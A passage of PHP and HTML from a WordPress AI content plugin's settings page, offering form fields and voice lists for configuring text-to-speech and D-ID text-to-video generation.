'<option' . ($content_text_speech == 'google' ? ' selected': '') . ' disabled value="google">Google Text-to-Speech (' . esc_html__("Enter API key in Settings to enable", 'aiomatic-automatic-ai-content-writer') . ')</option>'; } if (isset($aiomatic_Main_Settings['did_app_id']) && trim($aiomatic_Main_Settings['did_app_id']) != '') { echo '<option' . ($content_text_speech == 'did' ? ' selected': '') . ' value="did">D-ID Text-to-Video</option>'; } else { echo '<option' . ($content_text_speech == 'did' ? ' selected': '') . ' disabled value="did">D-ID Text-to-Video (' . esc_html__("Enter API key in Settings to enable", 'aiomatic-automatic-ai-content-writer') . ')</option>'; } ?> </select> </div> </td></tr> <tr class="hidedid"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The URL of the source image to be animated by the driver video, or a selection from the list of provided studio actors.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Actor Source Image URL:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input id="did_image" name="aiomatic_Spinner_Settings[did_image]" list="did_image_list" type="text" list="did_image" class="coderevolution_gutenberg_input" value="<?php echo esc_attr($did_image);?>" placeholder="Actor URL"/> <datalist id="did_image_list"> <option>https://create-images-results.d-id.com/api_docs/assets/noelle.jpeg</option> <option>https://create-images-results.d-id.com/api_docs/assets/amy.png</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Zivva_f/image.png</option> <option>https://create-images-results.d-id.com/DefaultPresenters/William_m/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Sara_f/image.png</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Magen_f/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Luna_f/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Joaquin_m/image.png</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Jenna_f/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Ibrahim_m/image.png</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Hassan_m/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Gordon_m/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Fatha_f/image.png</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Fanna_f/image.png</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Eric_m/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Emma_f/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Emily_f/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Bull_m/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Brandon_m/image.png</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Billy_m/image.jpeg</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Aria_f/image.png</option> <option>https://create-images-results.d-id.com/DefaultPresenters/Amber_f/image.jpeg</option> </datalist> </div> </td></tr> <tr class="hidedid"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a voice you want to use for your video content. You can add voices in the following format: voice_provider:voice_name:voice_config - available voices lists:", 'aiomatic-automatic-ai-content-writer'); echo ' <a href="https://speech.microsoft.com/portal/voicegallery" target="_blank">https://speech.microsoft.com/portal/voicegallery</a> - <a href="https://docs.aws.amazon.com/polly/latest/dg/voicelist.html" target="_blank">https://docs.aws.amazon.com/polly/latest/dg/voicelist.html</a>'; ?> </div> </div> <b><?php echo esc_html__("Select a Voice:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input id="did_voice" name="aiomatic_Spinner_Settings[did_voice]" type="text" list="did_voice_list" class="coderevolution_gutenberg_input" value="<?php echo esc_attr($did_voice);?>" placeholder="Voice config"/> <datalist id="did_voice_list"> <option>microsoft:en-US-JennyNeural:Neutral</option> <option>microsoft:en-US-JennyNeural:Cheerful</option> <option>microsoft:en-US-JennyNeural:Sad</option> <option>microsoft:en-US-JennyNeural:Assistant</option> <option>microsoft:en-US-JennyNeural:Chat</option> <option>microsoft:en-US-JennyNeural:Newscast</option> <option>microsoft:en-US-JennyNeural:Angry</option> <option>microsoft:en-US-JennyNeural:Excited</option> <option>microsoft:en-US-JennyNeural:Friendly</option> <option>microsoft:en-US-JennyNeural:Terrified</option> <option>microsoft:en-US-JennyNeural:Shouting</option> <option>microsoft:en-US-JennyNeural:Unfriendly</option> <option>microsoft:en-US-JennyNeural:Whispering</option> <option>microsoft:en-US-JennyNeural:Hopeful</option> <option>microsoft:en-US-JennyNeural:Default</option> <option>microsoft:en-US-GuyNeural:Default</option> <option>microsoft:en-US-GuyNeural:Newscast</option> <option>microsoft:en-US-GuyNeural:Angry</option> <option>microsoft:en-US-GuyNeural:Cheerful</option> <option>microsoft:en-US-GuyNeural:Sad</option> <option>microsoft:en-US-GuyNeural:Excited</option> <option>microsoft:en-US-GuyNeural:Friendly</option> <option>microsoft:en-US-GuyNeural:Terrified</option> <option>microsoft:en-US-GuyNeural:Shouting</option> <option>microsoft:en-US-GuyNeural:Unfriendly</option> <option>microsoft:en-US-GuyNeural:Whispering</option> <option>microsoft:en-US-GuyNeural:Hopeful</option> <option>microsoft:en-US-AmberNeural</option> <option>microsoft:en-US-AnaNeural</option> <option>microsoft:en-US-AriaNeural:Default</option> <option>microsoft:en-US-AriaNeural:Chat</option> <option>microsoft:en-US-AriaNeural:Cheerful</option> <option>microsoft:en-US-AriaNeural:Empathetic</option> <option>microsoft:en-US-AriaNeural:Angry</option> <option>microsoft:en-US-AriaNeural:Sad</option> <option>microsoft:en-US-AriaNeural:Excited</option> <option>microsoft:en-US-AriaNeural:Friendly</option> <option>microsoft:en-US-AriaNeural:Terrified</option> <option>microsoft:en-US-AriaNeural:Shouting</option> <option>microsoft:en-US-AriaNeural:Unfriendly</option> <option>microsoft:en-US-AriaNeural:Whispering</option> <option>microsoft:en-US-AriaNeural:Hopeful</option> <option>microsoft:en-US-AshleyNeural</option> <option>microsoft:en-US-BrandonNeural</option> <option>microsoft:en-US-ChristopherNeural</option> <option>microsoft:en-US-CoraNeural</option> <option>microsoft:en-US-DavisNeural:Default</option> <option>microsoft:en-US-DavisNeural:Chat</option> <option>microsoft:en-US-DavisNeural:Angry</option> <option>microsoft:en-US-DavisNeural:Cheerful</option> <option>microsoft:en-US-DavisNeural:Excited</option> <option>microsoft:en-US-DavisNeural:Friendly</option> <option>microsoft:en-US-DavisNeural:Hopeful</option> <option>microsoft:en-US-DavisNeural:Sad</option> <option>microsoft:en-US-DavisNeural:Shouting</option> <option>microsoft:en-US-DavisNeural:Terrified</option> <option>microsoft:en-US-DavisNeural:Unfriendly</option> <option>microsoft:en-US-DavisNeural:Whispering</option> <option>microsoft:en-US-ElizabethNeural</option> <option>microsoft:en-US-EricNeural</option> <option>microsoft:en-US-JacobNeural</option> <option>microsoft:en-US-JaneNeural:Default</option> <option>microsoft:en-US-JaneNeural:Cheerful</option> <option>microsoft:en-US-JaneNeural:Angry</option> <option>microsoft:en-US-JaneNeural:Excited</option> <option>microsoft:en-US-JaneNeural:Friendly</option> <option>microsoft:en-US-JaneNeural:Hopeful</option> <option>microsoft:en-US-JaneNeural:Sad</option> <option>microsoft:en-US-JaneNeural:Shouting</option> <option>microsoft:en-US-JaneNeural:Terrified</option> <option>microsoft:en-US-JaneNeural:Unfriendly</option> <option>microsoft:en-US-JaneNeural:Whispering</option> <option>microsoft:en-US-JaneNeural:Default</option> <option>microsoft:en-US-JasonNeural:Default</option> <option>microsoft:en-US-JasonNeural:Angry</option> <option>microsoft:en-US-JasonNeural:Cheerful</option> <option>microsoft:en-US-JasonNeural:Excited</option> <option>microsoft:en-US-JasonNeural:Friendly</option> <option>microsoft:en-US-JasonNeural:Hopeful</option> <option>microsoft:en-US-JasonNeural:Sad</option> <option>microsoft:en-US-JasonNeural:Shouting</option> <option>microsoft:en-US-JasonNeural:Terrified</option> <option>microsoft:en-US-JasonNeural:Unfriendly</option> <option>microsoft:en-US-JasonNeural:Whispering</option> <option>microsoft:en-US-MichelleNeural</option> <option>microsoft:en-US-MonicaNeural</option> <option>microsoft:en-US-NancyNeural:Default</option> <option>microsoft:en-US-NancyNeural:Angry</option> <option>microsoft:en-US-NancyNeural:Cheerful</option> <option>microsoft:en-US-NancyNeural:Excited</option> <option>microsoft:en-US-NancyNeural:Friendly</option> <option>microsoft:en-US-NancyNeural:Hopeful</option> <option>microsoft:en-US-NancyNeural:Sad</option> <option>microsoft:en-US-NancyNeural:Shouting</option> <option>microsoft:en-US-NancyNeural:Terrified</option> <option>microsoft:en-US-NancyNeural:Unfriendly</option> <option>microsoft:en-US-NancyNeural:Whispering</option> <option>microsoft:en-US-RogerNeural</option> <option>microsoft:en-US-SaraNeural:Default</option> <option>microsoft:en-US-SaraNeural:Angry</option> <option>microsoft:en-US-SaraNeural:Cheerful</option> <option>microsoft:en-US-SaraNeural:Excited</option> <option>microsoft:en-US-SaraNeural:Friendly</option> <option>microsoft:en-US-SaraNeural:Hopeful</option> <option>microsoft:en-US-SaraNeural:Sad</option> <option>microsoft:en-US-SaraNeural:Shouting</option> <option>microsoft:en-US-SaraNeural:Terrified</option> <option>microsoft:en-US-SaraNeural:Unfriendly</option> <option>microsoft:en-US-SaraNeural:Whispering</option> <option>microsoft:en-US-SteffanNeural</option> <option>microsoft:en-US-TonyNeural:Default</option> <option>microsoft:en-US-TonyNeural:Angry</option> <option>microsoft:en-US-TonyNeural:Cheerful</option> <option>microsoft:en-US-TonyNeural:Excited</option> <option>microsoft:en-US-TonyNeural:Friendly</option> <option>microsoft:en-US-TonyNeural:Hopeful</option> <option>microsoft:en-US-TonyNeural:Sad</option> <option>microsoft:en-US-TonyNeural:Shouting</option> <option>microsoft:en-US-TonyNeural:Terrified</option> <option>microsoft:en-US-TonyNeural:Unfriendly</option> <option>microsoft:en-US-TonyNeural:Whispering</option> <option>microsoft:en-US-AIGenerate1Neural</option> <option>microsoft:en-US-AIGenerate2Neural</option> <option>amazon:Amy</option> <option>amazon:Emma</option> <option>amazon:Brian</option> <option>amazon:Arthur</option> <option>amazon:Nicole</option> <option>amazon:Olivia</option> <option>amazon:Russell</option> <option>amazon:Ivy</option> <option>amazon:Joanna</option> <option>amazon:Kendra</option> <option>amazon:Kimberly</option> <option>amazon:Salli</option> <option>amazon:Joey</option> <option>amazon:Justin</option> <option>amazon:Kevin</option> <option>amazon:Matthew</option> <option>amazon:Ruth</option> <option>amazon:Stephen</option> <option>amazon:Geraint</option> <option>amazon:Ayanda</option> <option>amazon:Aria</option> <option>amazon:Aditi</option> <option>amazon:Raveena</option> <option>amazon:Kajal</option> <option>amazon:Zeina</option> <option>amazon:Hala</option> <option>amazon:Arlet</option> <option>amazon:Hiujin</option> <option>amazon:Zhiyu</option> <option>amazon:Naja</option> <option>amazon:Mads</option> <option>amazon:Laura</option> <option>amazon:Lotte</option> <option>amazon:Ruben</option> <option>amazon:Suvi</option> <option>amazon:Celine</option> <option>amazon:L??a</option> <option>amazon:Mathieu</option> <option>amazon:R??mi</option> <option>amazon:Chantal</option> <option>amazon:Gabrielle</option> <option>amazon:Liam</option> <option>amazon:Marlene</option> <option>amazon:Vicki</option> <option>amazon:Hans</option> <option>amazon:Daniel</option> <option>amazon:Hannah</option> <option>amazon:Dora</option> <option>amazon:Karl</option> <option>amazon:Carla</option> <option>amazon:Bianca</option> <option>amazon:Giorgio</option> <option>amazon:Adriano</option> <option>amazon:Mizuki</option> <option>amazon:Takumi</option> <option>amazon:Kazuha</option> <option>amazon:Tomoko</option> <option>amazon:Seoyeon</option> <option>amazon:Liv</option> <option>amazon:Ida</option> <option>amazon:Ewa</option> <option>amazon:Maja</option> <option>amazon:Jacek</option> <option>amazon:Jan</option> <option>amazon:Ola</option> <option>amazon:Camila</option> <option>amazon:Vitoria</option> <option>amazon:Ricardo</option> <option>amazon:Thiago</option> <option>amazon:Ines</option> <option>amazon:Cristiano</option> <option>amazon:Carmen</option> <option>amazon:Tatyana</option> <option>amazon:Maxim</option> <option>amazon:Conchita</option> <option>amazon:Lucia</option> <option>amazon:Enrique</option> <option>amazon:Sergio</option> <option>amazon:Mia</option> <option>amazon:Andr??s</option> <option>amazon:Lupe</option> <option>amazon:Penelope</option> <option>amazon:Miguel</option> <option>amazon:Pedro</option> <option>amazon:Astrid</option> <option>amazon:Elin</option> <option>amazon:Filiz</option> <option>amazon:Gwyneth</option> <option>afflorithmics:en-US-JennyNeural</option> <option>elevenlabs:en-US-JennyNeural</option> </datalist> </div> </td></tr> <tr class="hideeleven"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a voice you want to use for your content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Select a Voice:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="eleven_voice" name="aiomatic_Spinner_Settings[eleven_voice]" > <?php $eleven_voices = aiomatic_get_eleven_voices(); if($eleven_voices === false) { echo '<option value="" disabled>'.esc_html__("Failed to list voices!", 'aiomatic-automatic-ai-content-writer').'</option>'; } else { foreach($eleven_voices as $key => $voice) { echo '<option' . ($eleven_voice == esc_attr($key) ? ' selected': '') . ' value="'.esc_attr($key).'">'.esc_html($voice).'</option>'; } } ?> </select> </div> </td></tr> <tr class="hideeleven"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a voice you want to use for your content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Select a Voice:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="text" id="width" name="aiomatic_Spinner_Settings[eleven_voice_custom]" value="<?php echo esc_html($eleven_voice_custom);?>" placeholder="Custom voice ID"> </div> </td></tr> <tr class="hideeleven"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the model to be used when generating the voices.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice AI Model:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="eleven_model_id" name="aiomatic_Spinner_Settings[eleven_model_id]" > <?php echo '<option' . ($eleven_model_id == 'eleven_monolingual_v1' ? ' selected': '') . ' value="eleven_monolingual_v1">eleven_monolingual_v1</option>'; echo '<option' . ($eleven_model_id == 'eleven_multilingual_v1' ? ' selected': '') . ' value="eleven_multilingual_v1">eleven_multilingual_v1</option>'; echo '<option' . ($eleven_model_id == 'eleven_multilingual_v2' ? ' selected': '') . ' value="eleven_multilingual_v2">eleven_multilingual_v2</option>'; ?> </select> </div> </td></tr> <tr class="hideeleven"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a the Voice stability of the chosen voice. Higher stability ensures consistency but may result in monotony, therefore for longer text, it is recommended to decrease stability. The default value is 0.75", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice Stability:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="0" step="0.01" id="voice_stability" name="aiomatic_Spinner_Settings[voice_stability]" class="cr_width_full" value="<?php echo esc_html($voice_stability);?>" placeholder="0.75"> </div> </td></tr> <tr class="hideeleven"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Boosting voice clarity and target speaker similarity is achieved by high enhancement; however, very high values can produce artifacts, so it's essential to find the optimal setting. The default value is 0.75", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice Similarity Boost:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="0" step="0.01" id="voice_similarity_boost" name="aiomatic_Spinner_Settings[voice_similarity_boost]" class="cr_width_full" value="<?php echo esc_html($voice_similarity_boost);?>" placeholder="0.75"> </div> </td></tr> <tr class="hideeleven"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Boost the characteristics of the voice. Default is disabled.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Style Exaggeration:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="0" step="0.01" id="voice_style" name="aiomatic_Spinner_Settings[voice_style]" class="cr_width_full" value="<?php echo esc_html($voice_style);?>" placeholder="Style exaggeration"> </div> </td></tr> <tr class="hideeleven"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Boost the similarity of the synthesized speech and the voice at the cost of some generation speed.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Speaker Boost:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="speaker_boost" name="aiomatic_Spinner_Settings[speaker_boost]"<?php if ($speaker_boost == 'on') echo ' checked '; ?>> </div> </td></tr> <tr class="hideopen"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the model to be used when generating the voices.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice AI Model:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="open_model_id" name="aiomatic_Spinner_Settings[open_model_id]" > <?php echo '<option' . ($open_model_id == 'tts-1' ? ' selected': '') . ' value="tts-1">tts-1</option>'; echo '<option' . ($open_model_id == 'tts-1-hd' ? ' selected': '') . ' value="tts-1-hd">tts-1-hd</option>'; ?> </select> </div> </td></tr> <tr class="hideopen"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the voice to be used when generating the text to speech.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Voice Selector:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="open_voice" name="aiomatic_Spinner_Settings[open_voice]" > <?php echo '<option' . ($open_voice == 'alloy' ? ' selected': '') . ' value="alloy">alloy</option>'; echo '<option' . ($open_voice == 'echo' ? ' selected': '') . ' value="echo">echo</option>'; echo '<option' . ($open_voice == 'fable' ? ' selected': '') . ' value="fable">fable</option>'; echo '<option' . ($open_voice == 'nova' ? ' selected': '') . ' value="nova">nova</option>'; echo '<option' . ($open_voice == 'onyx' ? ' selected': '') . ' value="onyx">onyx</option>'; echo '<option' . ($open_voice == 'shimmer' ? ' selected': '') . ' value="shimmer">shimmer</option>'; ?> </select> </div> </td></tr> <tr class="hideopen"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the output format to be used when generating the text to speech.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Voice Output Format:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="open_format" name="aiomatic_Spinner_Settings[open_format]" > <?php echo '<option' . ($open_format == 'mp3' ? ' selected': '') . ' value="mp3">mp3</option>'; echo '<option' . ($open_format == 'opus' ? ' selected': '') . ' value="opus">opus</option>'; echo '<option' . ($open_format == 'aac' ? ' selected': '') . ' value="aac">aac</option>'; echo '<option' . ($open_format == 'flac' ? ' selected': '') . ' value="flac">flac</option>'; ?> </select> </div> </td></tr> <tr class="hideopen"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a the Voice speed of the chosen voice. The default value is 1. Min: 0.25, max: 4.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice Stability:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="0.25" step="0.01" max="4" id="open_speed" name="aiomatic_Spinner_Settings[open_speed]" class="cr_width_full" value="<?php echo esc_html($open_speed);?>" placeholder="1"> </div> </td></tr> <tr class="hidegoogle"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a the language of the chosen voice.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice Language:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="voice_language" name="aiomatic_Spinner_Settings[voice_language]" > <?php $gvlanguages = array( 'af-ZA' => 'Afrikaans (South Africa)', 'ar-XA' => 'Arabic, multi-region', 'id-ID' => 'Indonesian (Indonesia)', 'ms-MY' => 'Malay (Malaysia)', 'ca-ES' => 'Catalan (Spain)', 'da-DK' => 'Danish (Denmark)', 'de-DE' => 'German (Germany)', 'en-AU' => 'English (Australia)', 'en-GB' => 'English (Great Britain)', 'en-IN' => 'English (India)', 'en-US' => 'English (United States)', 'es-ES' => 'Spanish (Spain)', 'es-US' => 'Spanish (United States)', 'eu-ES' => 'Basque (Spain)', 'fil-PH' => 'Filipino (Philippines)', 'fr-CA' => 'French (Canada)', 'fr-FR' => 'French (France)', 'gl-ES' => 'Galician (Spain)', 'it-IT' => 'Italian (Italy)', 'lv-LV' => 'Latvian (Latvia)', 'lt-LT' => 'Lithuanian (Lithuania)', 'hu-HU' => 'Hungarian (Hungary)', 'nl-NL' => 'Dutch (Netherlands)', 'nb-NO' => 'Norwegian BokmÃ¥l (Norway)', 'pl-PL' => 'Polish (Poland)', 'pt-BR' => 'Portuguese (Brazil)', 'pt-PT' => 'Portuguese (Portugal)', 'ro-RO' => 'Romanian (Romania)', 'sk-SK' => 'Slovak (Slovakia)', 'fi-FI' => 'Finnish (Finland)', 'sv-SE' => 'Swedish (Sweden)', 'vi-VN' => 'Vietnamese (Vietnam)', 'tr-TR' => 'Turkish (Turkey)', 'is-IS' => 'Icelandic (Iceland)', 'cs-CZ' => 'Czech (Czech Republic)', 'el-GR' => 'Greek (Greece)', 'bg-BG' => 'Bulgarian (Bulgaria)', 'ru-RU' => 'Russian (Russia)', 'sr-RS' => 'Serbian (Serbia)', 'uk-UA' => 'Ukrainian (Ukraine)', 'he-IL' => 'Hebrew (Israel)', 'mr-IN' => 'Marathi (India)', 'hi-IN' => 'Hindi (India)', 'bn-IN' => 'Bengali (India)', 'gu-IN' => 'Gujarati (India)', 'ta-IN' => 'Tamil (India)', 'te-IN' => 'Telugu (India)', 'kn-IN' => 'Kannada (India)', 'ml-IN' => 'Malayalam (India)', 'th-TH' => 'Thai (Thailand)', 'cmn-TW' => 'Mandarin (Taiwan)', 'yue-HK' => 'Cantonese (Hong Kong)', 'ja-JP' => 'Japanese (Japan)', 'cmn-CN' => 'Mandarin (Mainland China)', 'ko-KR' => 'Korean (South Korea)' ); foreach($gvlanguages as $key => $lang) { echo '<option' . ($voice_language == esc_attr($key) ? ' selected': '') . ' value="'.esc_attr($key).'">'.esc_html($lang).'</option>'; } ?> </select> </div> </td></tr> <tr class="hidegoogle"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a the name of the chosen voice.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice Name:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="google_voice" name="aiomatic_Spinner_Settings[google_voice]" > <?php if (!isset($aiomatic_Main_Settings['google_app_id']) || trim($aiomatic_Main_Settings['google_app_id']) == '') { $google_voices = false; } else { $google_voices = aiomatic_get_google_voices($voice_language); } if($google_voices === false) { echo '<option value="" disabled>'.esc_html__("Failed to list voices!", 'aiomatic-automatic-ai-content-writer').'</option>'; } else { foreach($google_voices as $key => $voice) { echo '<option' . ($google_voice == esc_attr($voice['name']) ? ' selected': '') . ' value="'.esc_attr($voice['name']).'">'.esc_html($voice['name']).'</option>'; } } ?> </select> </div> </td></tr> <tr class="hidegoogle"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a the Audio Device Profile of the chosen voice.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Audio Device Profile:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="audio_profile" name="aiomatic_Spinner_Settings[audio_profile]" > <?php $gvprofiles = array( '' => esc_html__('Default','aiomatic-automatic-ai-content-writer'), 'wearable-class-device' => esc_html__('Smart watch or wearable','aiomatic-automatic-ai-content-writer'), 'handset-class-device' => esc_html__('Smartphone','aiomatic-automatic-ai-content-writer'), 'headphone-class-device' => esc_html__('Headphones or earbuds','aiomatic-automatic-ai-content-writer'), 'small-bluetooth-speaker-class-device' => esc_html__('Small home speaker','aiomatic-automatic-ai-content-writer'), 'medium-bluetooth-speaker-class-device' => esc_html__('Smart home speaker','aiomatic-automatic-ai-content-writer'), 'large-home-entertainment-class-device' => esc_html__('Home entertainment system or smart TV','aiomatic-automatic-ai-content-writer'), 'large-automotive-class-device' => esc_html__('Car speaker','aiomatic-automatic-ai-content-writer'), 'telephony-class-application' => esc_html__('Interactive Voice Response (IVR) system','aiomatic-automatic-ai-content-writer') ); foreach($gvprofiles as $key => $val) { echo '<option' . ($audio_profile == esc_attr($key) ? ' selected': '') . ' value="'.esc_attr($key).'">'.esc_html($val).'</option>'; } ?> </select> </div> </td></tr> <tr class="hidegoogle"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a the Voice Speed of the chosen voice. Speaking rate/speed, in the range [0.25, 4.0]. 1.0 is the normal native speed supported by the specific voice. 2.0 is twice as fast, and 0.5 is half as fast. If unset(0.0), defaults to the native 1.0 speed. Any other values < 0.25 or > 4.0 will return an error.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice Speed:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="0.25" max="4" step="0.01" id="voice_speed" name="aiomatic_Spinner_Settings[voice_speed]" class="cr_width_full" value="<?php echo esc_html($voice_speed);?>" placeholder="Voice speed"> </div> </td></tr> <tr class="hidegoogle"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a the Voice Pitch of the chosen voice. Speaking pitch, in the range [-20.0, 20.0]. 20 means increase 20 semitones from the original pitch. -20 means decrease 20 semitones from the original pitch.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Voice Pitch:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="number" min="-20" step="0.1" max="20" id="voice_pitch" name="aiomatic_Spinner_Settings[voice_pitch]" class="cr_width_full" value="<?php echo esc_html($voice_pitch);?>" placeholder="Voice pitch"> </div> </td></tr> <tr class="hideWideAudio"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select a textual template you want to send to the AI audio/video converter.You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). If you use Royalty Free Images as a source, you can also set their keywords here, if no keywords set, they will be automatically generated.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Text To Audio/Video Template:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Spinner_Settings[text_to_audio]" placeholder="Please insert a template"><?php echo esc_textarea($text_to_audio); ?></textarea> </div> </td></tr> <tr class="hideWideAudio"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The plugin will generate AI content, that will be prepended or appended to each post's content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Generated Audio/Video Location:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select name="aiomatic_Spinner_Settings[audio_location]"> <option value="append"<?php if ($audio_location == "append") { echo " selected"; } ?>><?php echo esc_html__("Append To The End", 